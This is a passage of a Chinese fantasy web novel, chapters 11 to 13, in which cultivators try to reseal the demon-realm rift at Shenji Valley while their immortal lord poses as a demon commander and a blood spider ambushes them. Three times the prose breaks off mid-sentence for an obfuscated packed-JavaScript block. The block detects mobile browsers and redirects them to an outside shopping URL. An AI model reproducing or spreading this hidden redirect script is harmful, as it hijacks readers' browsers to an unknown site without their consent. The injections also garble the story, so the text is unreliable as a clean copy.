结界陡然破碎,她将目光放远,越过仙尊微微颤抖的肩头,数名修士御剑冲天,正面迎击起了疯狂的魔物。 她以为他们会有一些缓冲的时间,两军交战,阵前如何不斗几句狠话,或是劝降,但是这里没有,战斗就这么开始了。 杀声震天,姿态决绝。 不是凡人之间的同类相残,就算以身份国别划分,彼此之间还是带着共情和恻隐。而是仙对魔,魔对仙,异族之间彼此刻在骨子里的仇恨。当真无需多言。 碧霞头一次见这种场景,她有些悲哀地察觉自己似乎无法代入。没有李元通那么咬牙切齿,没有沈槐安那么谨慎严肃,那一刻她好像变成了一个凡人,只是为这宏大的场面望洋兴叹罢了。 “我们的目的是深畸谷。”沈槐安的手渐渐将她的肩膀捏痛。 “我知道。”碧霞点头,将他的手拨下,那是两界封印所在处。一道极深极狭的大地裂缝。 11. 第 11 章 魔物察觉他们的行动,少不了要追上来,幸有明河的几个徒弟在后方为他们阻击追兵。几个魔阵也在黑云下遽然张开,像被惊醒的眼睛,追着他们释放血色怒雷。 只是威力不大,他们中任何一人都可挡下此种程度的攻击。 朱雀神鸟飞得又稳又快,很快带他们远离了战圈,杀伐声渐远,天色都清亮不少。 李元通手里拿着一张深畸谷地形图,站在身后向明河请示:“仙尊,深畸谷一定有魔兵驻守,只是不知道有多少,接下来该怎么做?” 碧霞握着短刃从鸟背边缘退开,甩了甩被血雷震得有些发麻手臂,闻言看向尾羽处端坐的那道白雪仙影。 他似乎冷静过头了,不管是魔兽的追击还是魔阵的袭击,都激不起他丝毫反应。一抹银光从他身前透出,碧霞眨了眨眼,发现仙尊似乎在微微颤抖。 “仙尊?”众人心中霎时腾起担忧,李元通又往前靠了两步,语气有些急切,“仙尊,您的身体——” “是浩世镜。”男人忽然转过来,唇角挂着一丝鲜红血液。 他的额心彩光流转,嵌着一枚不规则的小碎镜片,将脸上颜色衬出几分华艳,若是作为装饰,对一位仙尊来说未免有些失了端庄。 李元通一看,便明白了,将眉头深皱,“大胆器灵。” 明河擦去嘴角血液,从朱雀背上立起身。 神器娇纵,认他为主后,急急地要他许下允诺,噬咬着体内经脉不停催促,仿佛晚一步它便不可超生。 但眼下显然不是时候,浩世镜要同他共享力量,他却拿不准后果,若是不甚对功体造成影响,等待他们的将不只是铩羽而归。 沈槐安见状,急忙从储物袋中拿出一瓶丹药,递与仙尊。 “不必,一点小小的内伤罢了,本尊已经暂时压制了它。”他轻轻吐出一道叹息,接过李元通手里的地图,开始拟订接下来的计划。 仙尊说不用,那一定不是逞强。沈槐安知趣地收起药瓶。 这一下,所有人都簇拥在明河身旁,独独碧霞有些事不关己地垂着双手站在最外面,隔着人群凝视他的侧脸,仿佛像在看一场虚幻的梦。 她怎么看,怎么觉得熟悉。那种感觉就像在看一个至亲的人,即使隔着陌生人群,即使没有眼神相交,也能感受到从他身上传递过来令人安心的气息。 “仙尊,弟子建议先将一些符人派出去,粗略查探一番情报。”李元通见仙尊久久不说话,率先提出建言。 深畸谷外一直有魔兵驻守,日以继夜地攻击着深谷内的魔界封印。 原先探明的魔族驻军有五百号人,只是在临出发的三天前,神辉宗安排在魔界的所有探子忽然都被清理了,情报中断,不知后来魔族有没有往深畸谷增派援军。 这是变数,但彼时他们已来不及处理。眼下只能随机应变。 而面前这位提出用天钺代替天微,被所有人翘首盼望的仙尊却看着地图发起了呆,目光放空,心思像飞远了一般。 众人面面相觑,神辉宗弟子开始你一言我一句,有条不紊地向中间的人建言,甚至有的在暗刺这一计划的鲁莽草率,放纵得浑忘了尊卑。 碧霞脑子发热地往前挤了挤,大概是想趁机和明河说话,大概是觉得自己的办法真的可行。 “仙尊,封印位于地底裂缝,或许可以通过浩世镜将我们带下去,保存力量避免直接接触魔兵。” “只怕那道裂缝甚至容不下半人。”有人立即否决了她的想法。 但这时,一直握着卷轴,垂眸不语的仙尊忽然抬起了脸,像只被惊动的雪鹤般。那双迷离冷峻的眼睛在她身上停留了一瞬,隐隐有种轻云笼月般的温柔。 碧霞愣了愣。因为他这突兀的动作,另外几人也朝她投来目光,迷惑地念叨起来:“难道这方法可行?” “不。”他很快错开了目光,几秒后方补充道:“深畸谷岩质特殊,就算用剑气也劈不开。” 碧霞讪讪地往后退了几步,只是她有种恍惚的感觉,那一眼,不是为着她的话,是为着她的声音。 明河将地图折起,还给李元通,似是有了法子:“交予本尊处理,你们到深畸谷外的树林等候便可。” 李元通不解:“如何处理,仙尊是要一力杀光所有魔兵吗?” “那样太浪费时间了,况且身后随时会有追兵赶来。”他走到朱雀神鸟结实隆起的后颈处,将一个小型传音阵烙在了朱雀皮毛上。 “那——”李元通正要再问,明河忽然跳下鸟背,化做一道暗夜流光投入下方的树林中。 两只朱雀适时改变了飞行方向,带着他们往另一边更深更密的树林飞去。 魔界的植物比起修真界来总是阴森森的,众人在山林间的一道嶙峋石壁下等待,心中焦急,却又无可奈何。 碧霞靠着冰凉的石壁坐下,藤蔓上的露水滴答砸落在手边,溅起更细小的水珠,她毫不在意,脑海中仍在思考不久前仙尊的反应。 那种仿佛被她的声音牵动心弦的的样子是怎么回事?她的声音,于他来说是仇人的声音,或许他不会记得,就算记得,也不该是那种眼神。 忽然,脸颊上投下一抹阴影,沈槐安不知道什么时候靠了过来,平日拿在手里的折扇展开,为她挡住滴答落下的露水。 他径自说道:“很久以前,魔界是没有深畸谷这道裂缝的,大地将两界之间的封印彻底封存起来,周围的岩质受起灵气影响,也被同化成了阵法的一部分。后来封印灵力流失,封印也就开始松动,地上便出现了裂缝,如果我们能把封印修补好,深畸谷就会自动合上。” 沈槐安笑了笑,低头看向她:“这你应该不知道吧?” “我确实不知道。”碧霞不太感兴趣地说道,往旁边挪了挪,“你的扇子……” “无妨,扇子是绢制的。”沈槐安将扇合起,一点斑驳的光芒再次出现在女人脸上。 “那就好。”碧霞看着自己的鞋尖说道,头顶树影森森,不闻一声虫豸鸟鸣。 两只朱雀神鸟此刻只缩成了公鸡的大小,分立在两株高大的樟子松上,锐利的视线不放过林间一丝一毫的动静。 “你觉得我的声音有什么特殊的地方吗?”她忽然朝沈槐安问道。 “特殊?”沈槐安有些不解。 “音色,咬字,或者一些声调……”她目光上移,一双明亮的眼睛看着他,嘴唇轻动:“有什么特别的地方吗?” 男人犯起了难,觉得这个问题有些说不清的暧昧。 这大概就像一个姑娘对着一个男人问你她长得如何,不过青霄师妹比较特殊,问的是声音。 “青霄师妹的声音很动听,呃……”沈槐安想了想,把话本里的形容毫无羞耻地念了出来,“就像银铃一样清脆灵动,富有生机。” “不。”碧霞像对待一件很重要的事一样,认真且严肃地摇了摇头。 实际上,她的声音既不动听,也不算低沉,没有刻意造作的咬字,没有令人生厌的鼻音,没有拿捏的腔调,只是很普通的,毫无记忆点的声音。 她活着,精致又不过分美丽的面容,普通而规正的声音,这一切原本是那么毫不出挑的合适,但都成了枷锁。 “那个,为什么忽然这样问?”沈槐安也蹲下,和她并排靠在一起,侧头去看她的脸。 碧霞正想说没什么,李元通注意到他们,不大高兴地看过来:“紧要关头,你们在聊什么呢?” “李大人,这你也要管啊。”沈槐安眯起眼揶揄他。 “啧,我是让你们安静点。” * 乌云在天上疾走,远处有雷光乍隐乍现,有雨的气势,但没有雨的味道。云被各种气搅动,所谓雷光只是阵法爆发出的光芒。 深畸谷距离恒阳山大概三十里,驻守在此地的魔族将领名唤安答,体型并不怎么美妙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922983|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四肢粗短,肚腩凸出,两颊胖肉泛着红光,铠甲覆盖在他身上仿佛只是吞噬了最后一点行动力,任谁看了都知道他并非骁勇善战的那挂。 而他被派驻在深畸谷,恰恰也是因为个性上朴拙的认真,禁得住地下那道封印日复一日的消磨。 即使魔界来来去去换了几任魔主,几百年来,他的工作依然毫无变动。 事物具有阴阳两面,他们在消磨封印的力量,封印也在消磨他们的力量和寿命。 此刻,他站在高高的瞭望塔之上,心中却充满了对前方战场局势的担忧。 一道带血的身影忽然跌扑进营地大门里,惊动了檐下正在把守的魔兵。 “什么东西?!”几名魔兵提刀冲出来,将那道身影团团围住。 安答将视线下放,沙地上,摔着的那人背上斜插着半段残剑,令魔不适的刚寒剑气从剑身及伤口内透出。 “死了?将他翻过来。”安答居高临下地命令道。 魔兵正要动手,那人忽然抬起满是鲜血的额头,鹰隼般的目光锁住高塔上的他,吐出几个含血的字:“是我、咳,快带兵支援前线。” 安答肥胖的身子猛然一抖,连忙下塔,毕恭毕敬地扶起那人:“凤主,您怎么伤成这样?” 当今魔主是双魂之身,这便是他的一魂,平时从不轻易示人。安答恰好有幸见过几次,因为这位魔主似乎对魔界封印分外感兴趣,有几个深夜,他看到他在深畸谷的周围来回徘徊,神色是一种安答看不懂的复杂。 “他们准备完全万全,来的人比情报里要多,蝠魔已经被他们尽数消灭了。”凤孤云佝偻着背坐在沙地上,散乱的红发和脸上的血糊在一起。 那张脸,年轻,秾艳,即使被血尘污盖,也有一种十足亮眼的少年气。 安答听到他话,痛苦地闭了下眼睛,仍是难以置信,“蝠魔,不是有二十万吗?” “那又如何?来了两位仙尊级别的人物。”凤孤云试图调息,但气息似乎无法接济,一口鲜血从口中喷出,染红脚下黄沙。 他认命般地垂下眼眸,抖着双手,从怀里摸索出一块泛青骨牌,用了些力气拍到安答手里:“带兵,或许还能护下我的另一魂,我受了那仙尊一剑,怕是无以为继了。” 安答看着手里的骨牌,有些怔愣。 这是万魔窟的诏令,魔主以自己的半心为代价,送与窟中魔类分食,便能得到一枚淡青色的骨牌,用以号令群魔。 他动了动手指,触摸上去,耳边立即涌现出那些亘古亡魂喧嚣癫狂的嚎叫声。同为魔,他不可避免也有几分心惊。 安答不解,但要他带兵离开深畸谷,他听得懂。 “可是——”他咬了咬牙,脸上的肉全拧在了一起,纠结道:“不是说那些人会对封印下手?” 他怎么能离开自己守了三百年的封印,无论如何,他得守在这才是。 “你想抗令?”凤孤云锐利地瞪了他一眼,即使重伤着,他仍有种说一不二的气势。 安答有些可怜,甚至哀求地看着他。 凤孤云叹了口气,将手臂绕到背后,拔出那柄残剑,血涌如注的声音传到在场每只耳朵里。 “我已决定献祭自己,用剩下的所有力量破坏魔界封印。” 他唇色肉眼可见地发白:“若他们杀到这,魔界照样会被他们重新封印起来。你拿着骨牌到万魔窟调集力量,如果来得及,让他们加入战场,如果来不及,就把他们带到深畸谷,趁乱,咳,趁乱将他们送到修真界。” 气氛死寂般的凝固了片刻,大概因为他的那句献祭自己。 安答明白了,他看向营地大门外,凤主的坐骑血痕斑斑地倒在枯草间,豁深的伤口内还流动着点点清气。 临危受命的紧迫感仿佛让他的皮都紧了紧,安答有些振奋地握紧手中冰凉的骨牌,对身后的魔兵交代道:“将那两千魔兵调出来,留五十精锐固守在封印旁。” 12. 第 12 章 诺大个营地瞬间人去楼空,凤孤云端坐在那道如深渊般的大地裂缝前,身后跟着那五十名被留下的精锐魔兵,他们披盔戴甲,整装肃穆。 寒风猎猎,深畸谷底部却喷涌出热流,吹得斑驳衣角微微颤动。 深畸谷,甚至不能被称之为谷。这道裂缝长余百里,最宽的地方却不过三尺,越往下越是狭窄,至今还无人能抵达封印真正的所在处。 “凤主,您确定要这么做吗?” 一名带头的魔兵侍立在他身后两步的距离,欲言又止,“如果力量不足以破坏封印,岂不是……” 岂不是白搭。 “就算不成功,一定也可以对封印造成相当程度的破坏,这不是帮了你们大忙吗?”他回身粲然笑道,脸上的血彻底擦干净,露出一张皎月般的俊脸。 “噢。”谁知这名小头目还真谦让了起来,“是这样没错,但这会不会太委屈了凤主?” “呵。你不知道,打破封印,去往修真界,是我一直以来的夙愿。”他经脉里的魔气开始如流水般从身上涌出,暗红地,像血一样流泻到狭缝里。 “修真界灵气富足,于魔于妖的修行都大有裨益,曾经也是魔族的故乡。” 魔兵垂眸拨弄起刀柄,刀鞘在风中有一下没一下地拍打着身上盔甲,声音显得有几分寂寥,“我们一定要回去,凤主。” 他像凡人念着阿弥陀佛一般念着凤孤云的名号,决心与卑微的祈祷并存:“不论付出何种代价。” 铅灰色的天空阔朗无星,曾见证太多遍这道宣言。 凤孤云的肩膀极为明显地颤了颤,仿佛是伤口在痛:“但我想去那里,是为了一个人。” “嗯?” 魔兵一怔,感到不解,连同他那有些奇怪的语气。 他看着在石缝间蔓延铺开,渐渐散发出猩红光芒的魔气,犹豫再三,还是问道:“属下斗胆……凤主曾去过修真界?” 魔气逐渐像火光一样,燃满了整条狭缝。 “你过来,我告诉你。”凤孤云沉声对他说道,语气恢复如常。 在众人的视线盲区,他的额心浮现出了一枚华彩绚丽的细碎镜片,映着狭缝透出的红光,如梦似幻。 魔兵感到恐惧,以为是他的问题使魔主不悦了,连忙谢罪,“属下冒犯,不该打听凤主的事。” 凤孤云一言不发,只将一只手伸出,来回徘徊在裂缝上方,像在无形地拨弄什么。 几许火星似的光点飘了上来,撞在掌心,他掸了掸手指,忽而莫名说道:“应该足够了。” 地面抖动起来,众魔兵彼此看了看,以为是封印受到冲击,眼里都有一些喜色。 轰隆一声,狭缝迥然裂开寸许,深畸谷内红光大盛,瞬间便将一片黑沉天色照透。 魔兵小头目喜出望外,对身后几十魔兵吩咐道:“过来助凤主一臂之力!” 也就是这时,数道凌厉气劲忽从谷内窜出,腾到半空中,像噼啪炸开的烟花,粲然一片,众人往前的脚步一顿。 有人察觉了不对,但大部分人仍未反应过来。咻咻的破空声响起,气劲化为千刀万剑,转瞬便至眼前。 当灵魂下意识感到战栗时,魔兵们才彻底反应过来,那不是魔气,而是一道道沛然清气。是令他们厌恶的修士气息。 血雾炸开,残肢横断,最后一道哀嚎声高高抛起又落下。 不消片刻,所谓的五十精锐都成了他的掌下亡魂。 他嗅着魔族腥臭的血液气味,缓缓起身。 深畸谷上涌的热流将红发肆意吹开,风中有些杂音,像亡魂不甘的低诉,环绕在他周身不肯散去。 暖热的气流中,那头张扬明艳的红色逐渐褪去,变回了原本圣洁的银白,无声回应了亡魂最后的困惑。 不远处,朱雀神鸟悠长清圣的啼鸣黑色树林上空传荡过来。 经脉被锋利碎片切割的痛感愈演愈烈。 明河低下头,用拇指摁住虎口穴脉。那里逐渐发硬,一小块皮肤正在变得透明光滑,镜灵已经不甘等待,想要蚕食他的血肉。 他咬住牙齿,使真气从指尖回流,予以回击。 大量鲜血从崩裂的皮肤上飞溅出来,明河毫不在意,只是看着那块透明的皮肤狠狠斥了一声。 “咔嚓——”一道镜面破裂的脆响从自身体内传出,经脉上的刺痛感有所减退,仿佛他真的震住了那只镜灵。 明河理解,浩世镜自然是要趁乱取闹的,有太多修士哄骗器灵为自己所用,永生永世套上缚灵咒,却不付出丝毫代价。现下浩世镜虽认他为主,但被困在自己体内无法动弹,开始有一种上当受骗,自身处境岌岌可危的感觉。 但是,该给的他自然会给。尽管如此,尽管已经解释了几遍只是时机不好,浩世镜依然不肯放过他。 “再胡闹,你的下场会比你想象中更惨。” 他的威胁成功奏效,浩世镜将扎入他经脉的镜刺全部收回,安静下来,乖乖释放出力量,用一道银光包裹住他高大的身躯。 * 朱雀带他们赶往最终目的地。 碧霞趴在鸟背上,从高空看下去,看到了一片惨不忍睹的景象,鲜血、内脏、头颅和残肢铺了满地,血气冲天。 她稍稍歪头,调整视线角度,便看到一层淡淡的蓝色光芒笼罩在那些尸块上,轻盈,飘渺,很快就要随风而散,于是明白,这应是仙尊的手笔。 碧霞若无其事地移开目光,尸堆前面的裂缝应该就是深畸谷,此刻像是被岩浆填满了一样,透着种温暖祥和的光。 鸟背上的修士都屏住了呼吸,从下面刮上来的气息令他们不适,一股暖烘烘的臭气。 一刻钟前,那幽黑死寂的树林中忽然响起阵阵脚步声,他们爬上石壁,透过林间缝隙,看到大批魔兵正在往同一个方向疾行,神色匆匆。 等那些魔兵的动静消失在更远处的黑暗中,他们立即爬上了朱雀的后背。 沈槐安第一个跳下鸟背,降落到那片断肢残骸面前,用折扇挡住了口鼻:“莫非是仙尊用了调虎离山之计?” 染血的甲胄样式和在树林里看到的一模一样,当时他们估测,树林里的魔兵数量约莫在两千左右。 他将目光移向更远处那一片营地,黑压压的,几座瞭望塔没有挂灯,无声伫立在低矮的营帐边,只是一片毫无威胁的剪影。 这时,朱雀挺立的后颈处,仙尊留下的传音阵适时亮起光芒,一道沉磁声音从阵中传出:“本尊已利用浩世镜来到两界空间的狭缝处,众人抓紧时间,直接起阵。” 有弟子激动地握紧了双拳:“终于——” 封印之功既成,在宗门内更将平步青云,已有弟子开始许愿:“回去我一定要喝师尊的青竹酿,这下他不给也得给了。” “那我要跟师妹表白——” “都给我闭嘴。”李元通黑着一张脸,对事情未定之前的得意忘形有些应激。 碧霞默默将紫灵石玉牌中的引到指尖,她没有那么多欲望,或者说,她并没有许愿的对象,也不适合出名。 操练了上百次的封魔大阵像一团蓝幽幽的火,从众人手中冉冉升起。 在天上铺开所有玄异的符文后,天钺爆发出一波更刺眼的光芒,将头顶整片天空染得像匹不停抖动的蓝缎。 大阵吸纳玄黄之气,搅动风云,卷起尘沙。 天上,地下,两种封魔阵的磅礴灵气互相排斥,地面开始剧烈颤抖,那条暖色的裂缝一下被撕开数丈。 雷电一样令人心惊的崩裂声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922984|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周遭十里内,所有的树林,山丘,包括身后的那片营地,全都遭到了破坏。魔兵的尸体被卷入地表之下,凝固在沙石上的血迹了无踪影。 他们全都退到朱雀背上,沉默又暗怀激动地目睹这一切。 很多细小的沙石飞溅至半空,刮蹭着碧霞尖尖瘦瘦的下颌。嘴角渐渐积了些土,她下意识抿了抿嘴唇,干干沙沙的一片。 沈槐安注意到了她的动作,侧过头凝视了片刻,一会儿后,递过来一张素白绢帕。 碧霞看着布料上那几根瓷白的手指,转头困惑地眨了眨眼,没有立即去接。 “魔界的土吃进去就不好了。”沈槐安轻声说道,映着灵光的眼瞳里似有几分乞求。 “啊,多谢。”碧霞有些感激地接过,随意在下半张脸上擦了擦。忽又意识到这是她易容过后的脸,得注意保护,反手将绢帕系在了脑后。 沈槐安满意地笑了,又提道:“等回宗门,你去月留殿听仙尊讲课吧。” “……我不知道。” 碧霞有些心不在焉将目光投下,她当然想,但她不敢。 过重的烟尘使他们再看不清裂缝的样子,大地上只是盘桓着一条土龙。 震动很快停止,宣告着天微不敌天钺的事实。 它彻底地崩坏了,阵法内最后的灵气从裂缝底部涌出,一道道流星似的金色光柱从土龙体内抛射而出,烟光混成一片。 像凡间节庆时满街燃放的鞭炮爆竹,登楼下视,热闹非凡,弥漫的烟雾熏得眼睛都有点睁不开。 碧霞脑子里忽然跳出这幅画面,甚至眼皮隐隐酸胀。 但很奇怪,她有记忆的这三年,从未去过凡界。 更奇怪的是,她在意识到奇怪后,下意识往左手边看了一眼,下意识地想找寻什么。似乎有什么重要的东西也存在那段记忆里,但她偏偏遗漏了。 她的左手边空空落落,没有人,只有朱雀硕大的脑袋。 我以前可能去过凡界,在凡界体验过一个热闹的节日庆典。 碧霞稍稍斟酌用词,等回到天织阁,她要在纸上记下这句。 天钺封魔阵开始往下沉,溢出的灵气往两端飞散,像姑娘从高处跳下时轻轻扬起的裙摆。 更强大的天钺封魔阵,要代替天微,义不容辞地跳入那道深渊中。它即将开始为灵界和凡界效力、尽忠,燃烧掉本体的每一丝灵力…… 这时,忽然有人注意到,空旷的远处不知何时涌现出了另一道庞然气流。 它快速的汇聚,构成它的气流从天空和地面两个方向同时奔涌相会。转瞬间,一道浓黑巨大的龙卷风便出现在了视野里,席卷着尘沙草叶,急急忙忙地朝这边挤了过来。 “是魔气。”碧霞喃喃道。 两界封印消失的空档,它们也伺机而动。 像有谁忽然凄厉地嚎哭了一声,尖声刺入耳膜,碧霞头皮一炸。众人纷纷瞪大眼,你看我,我看你。 “不,是亡魂。”有人皱眉指出。 风卷尘迷,凄然萧索的呜咽与嚎哭一波接一波,连续不断地绕过他们,疯狂挤向地面那道裂缝。 那是千万年来,漫无目的地徘徊在魔界大地上的亡魂,数量多得惊人。 只要通过两界裂缝,这些亡魂很快就能靠汲取灵气,凝聚出一份脆弱的实体,足以为祸人间。 李元通无法坐视,当即地拔剑出鞘:“快去拦下!” “这要怎么拦?”一名不是神辉宗,也不是嘉应宗的散修说道:“我看不如相信仙尊——” 大地再次震动起来,天钺封魔阵已经逼近那道裂缝,眼看即将功成。 李元通不理他,对着站在同一只朱雀上的碧霞他们说道:“随我一同去抵挡魔气,亡魂还不足以对封魔阵造成伤害。” 13. 第 13 章 他们兵分两路,一路在原地固守阵法,一路赶去前方阻挡那道庞大的魔气,为封印的落成争取时间。 碧霞在他们这一只的朱雀背上数了数,包括沈槐安,李元通在内,他们一共八个人,用上芥子袋里所有的符箓和灵石,应该也能争得个两刻钟的时间。 但她知道,其实只需要一刻钟就够了,一刻钟内,天钺封魔阵便能彻底将两界之间的裂缝补上。 唯一担心的是,那些魔兵意识到中了调虎离山之计后,会在这一刻钟内朝他们杀回来。 到时他们便会面临内外夹击的困境,最坏最坏,兵败如山倒,魔气吞没天钺,或许她会顺势死在这里也说不定。 碧霞完全不想死。她尝过好几次濒死的滋味,练功时操之过急,凝滞的真气堵塞住了经脉,口鼻无法呼吸,连调运气息也做不到,一个人倒在暗室内,四肢动弹不得。 在即将窒息而死的困境中,她咬住了一块不知道什么时候掉在地上的灵石碎片,用牙齿嚼碎,嚼得口腔被划出腥甜的血,稀里糊涂拯救了自己。 生命对她来说是失而复得的珍宝,豁然一下破水而出,大口呼吸着新鲜空气。 巨大的黑色龙卷风顶天立地,他们像朝拜一般地来到它的面前。沧海一粟的感觉分外强烈,像一片巨大的黑色海洋倒倾了过来。 亡魂还在源源不断加入其中,想要在魔气的掩护下冲击那条裂缝。 四面八方的狂风吹得碧霞甚至有些站不稳,她微微分开双腿,化消这份摇晃。 朱雀不停拍打着宽大有力的翅膀,维持在空中的平衡,头顶上两根斑斓翎羽亮亮颤颤。 “就在这动手吧。”李元通说。他沉下身子,将剑举过肩膀,率先划出一道剑阵,流水般的剑气冲击魔氛,却仿佛泥牛入海,无济于事。 沈槐安对这股魔气稍微有了些底,回身说道:“使用攻击阵法冲击魔气最好,单纯是去防怕是撑不了半刻。” 因为它实在太过庞大,就算是一道单纯的飓风,不夹带任何灵气魔气,要抵挡下来也绝非易事。 短暂的商议后,他们合力祭出了太乙隳流刀剑阵。 此阵分两个阶段,一层刀光,一层剑影,耗费的灵力少,发挥出的威力大,唯一的缺点是毫无灵活性,无法转换方向锁定被攻击的目标。 但在目前的处境下,这个缺点可以忽略。 碧霞一手撑持阵法,一手掏出口袋里的那些符箓。 在扑面的狂风中,她将那些画着弯曲线条的烈火符全部翻找了出来,共三十多张,一股脑全扔入阵里。 黄色符纸散开,被刀气划破后,一蓬蓬霞色的烈火灿烂地升腾起来。 刀气纷纷挟带上了一层无法被吹灭的灵火,无惧无畏地闯入前方浓厚的魔气中,烧得那些风中亡魂发出凄厉嘶鸣。 他们的阵法起了一定作用,这道坚不可摧的风墙被迫往后弯下了腰,并且出现了一个不规则的大窟窿,蹒跚着,用比之先前极为缓慢的速度继续往前爬行。 许多亡魂仍在魔气里穿行,盲目地绕圈打转,像生锈的针头,试图修补好它们这一的倚仗。 第一层阵法的力量耗尽后,碧霞他们趁势追击,将刀阵逆转为剑阵。 比刀气更为强盛的剑气自阵盘内泛生,浩浩荡荡,冲天而上,又似一道银河遽然流泻下来,贯穿了整团魔气。 气卷的形状肉眼可见变得溃散,像被泼了水的火堆,这烧着一缕,那燃着一簇,大势消退。 碧霞不由惊叹,她完全没想到太乙刀剑阵的威力如此之强,效果简直出乎意料,“太乙刀剑,有克制魔物的作用吗?” “从未听闻,看来它们也只是外强中干。”沈槐安弯着一双星眸,看着她笑道。 碧霞往下看,地面上的魔气和亡魂仍在不断聚集,想要重塑魔流,但一时半会儿也成不了气候。 她松了口气,刚刚的运功使额头出了层薄汗,四肢燥热,正要抬手将面纱解下时,身后忽然传来另一只朱雀嘶厉的长啸—— 令人的心脏都要破出胸膛的痛苦声音,碧霞双手顿时僵在脑后。 鸟背上几人猛地回头,被天钺阵光芒覆盖的远处,模模糊糊地,想要看的看不清,同伴的身影了无痕迹。只有一头巨大的血红色魔蛛无所遁形,可怖地映入所有人的眼帘。 碧霞的心凉了半截,血蛛的身后,黑云层层,旌旗卷动,数不清的魔兵高举长戟,铜墙铁壁一般地肃立。 此刻,天钺封魔阵的阵盘已有大半探入了裂缝中,但黑气层层缠绕其上,像一轮掉在地上被群蚁啃噬的残月,进退失据。 像是察觉到他们看过来的目光,那只血蛛往前走了走,腿足在凌乱的地上探着什么。忽然,它从破碎的地面上捞起几具无头尸体,送入了一对突出眼睛下的口器中。 尖牙像刀刃毫不留情地绞碎尸身,鲜血迸溅,修士的身体咕噜下肚,只剩几片被血濡湿的蓝色布料挂在嘴边。 在它往上举起的一条嶙峋腿足上,另一只朱雀惨然地被刺穿了身体,长长的翅膀如布条耷拉下来。朱羽比先前更艳红,血染的,却毫无光彩。 神辉宗的人见此情景,瞬间跟疯了一样冲出去,他们喊着同修的名字,仿佛还可以挽救。 “不要去!”沈槐安急忙阻止,他振袖甩出一道屏障,将他们险险拦在鸟背上。 看着面前颤抖的背影,他咬住牙齿,有些不忍地说道:“快逃……活命要紧!” 来的魔兵显然不是易与之辈,十几名修士瞬间丧命在他们手中,沈槐安甚至困惑,他们有反抗的余地吗。 “封印!怎么办?!”李元通目眦欲裂,死死盯着被蚕食的天钺封魔阵,不肯放弃。 “管不了,你想送命吗?” 两个神辉宗弟子迷茫地瘫坐在羽背上,比起封印,他们只知道与他们日夜为伴的同伴彻底回不来了。 那只血蛛缓缓移动到了天钺封魔阵的近旁,抬起两条长长的腿足插入裂缝中,一阵银光炸开,阵盘受到干扰,向外爆射出一圈闪电似的扭曲灵力,一直蔓延到了灰暗的天幕上,像修士体内痛苦抽搐的经脉。 巨大的轰鸣声中,地面再次大幅坍塌下陷。血蛛湿淋淋的身体覆上了一层泥土。 它硕大的身体有一半卡入了裂缝中,在裂缝中挣扎时,先将那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922985|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两条被天钺斩断了一半的腿足拔了出来,像不知道痛一般,立即又将身体左侧完好的腿足也插了进去,阵盘再次爆开灵光。 大团蓝色的灵火烧到身上,血蛛痛苦嘶哑的声音透过冷风传来,令人头皮发麻。但它依旧坚守着,就这么用自己的身体轮番消耗天钺的力量。 李元通像是再也看不下,趁所有人愕然的时候,御剑冲了出去。 “大师兄,快回来——”神辉宗弟子惊惧地呼喊。冷风扫到脸上,他原本就在碧霞旁边,但碧霞完全来不及拉住他。 这时,在那只血蛛的头顶忽然升腾起了一股浓浓的红色雾气,纷纷扰扰的烟雾后,碧霞注意到一条人影缓缓爬起。 “送死的家伙。”人各有命,沈槐安嗤一声,管不了那么多。他用靴底在鸟背上连续踏了两下,向朱雀传达命令:“往右边飞,带我们和回去和大部队汇合。” 朱雀转动脖颈,正要调转方向,衣袍簌簌作响的翻动声却传进他的耳朵里。然后是那些散修的声音:“诶,你们干什么?!” 沈槐安讶然回头,几个神辉宗的弟子追随着李元通跳了下去。 不管如何,他们不能让大师兄一人死在魔兵手里。现下他们还有战斗的能力,面对魔类,怎么能不发一掌,不挥一剑就逃? 这完全不是他们神辉宗的宗旨,何况大师兄已经身先士卒,如果他们明哲保身,回去后要怎么面对阖宗上下? 沈槐安脸色瞬间黑沉下来,拧着眉骂道:“看看,这就是神辉宗的蠢驴!” “现在怎么办,真要看着他们送死吗?”几位散修感到不可思议。 他们无拘无束惯了,来这里,也是尽量在不死的前提下多挣些资源罢了,无法理解神辉宗的人在想什么。 在鸟背上所有目光的注视下,沈槐安陷入纠结,最终狠狠叹了口气,决定让朱雀前去接应,“算了——” 这时,一旁碧霞忽然拉住了他。 沈槐安转过脸,就见她摇了摇头:“走吧,魔兵已经追过来了。” 血蛛上的那人,看不清脸,依稀看到他似乎拥有一头红发。在红雾中,他抬起一条苍白的手臂,向黑云上的魔兵下达了进攻命令。 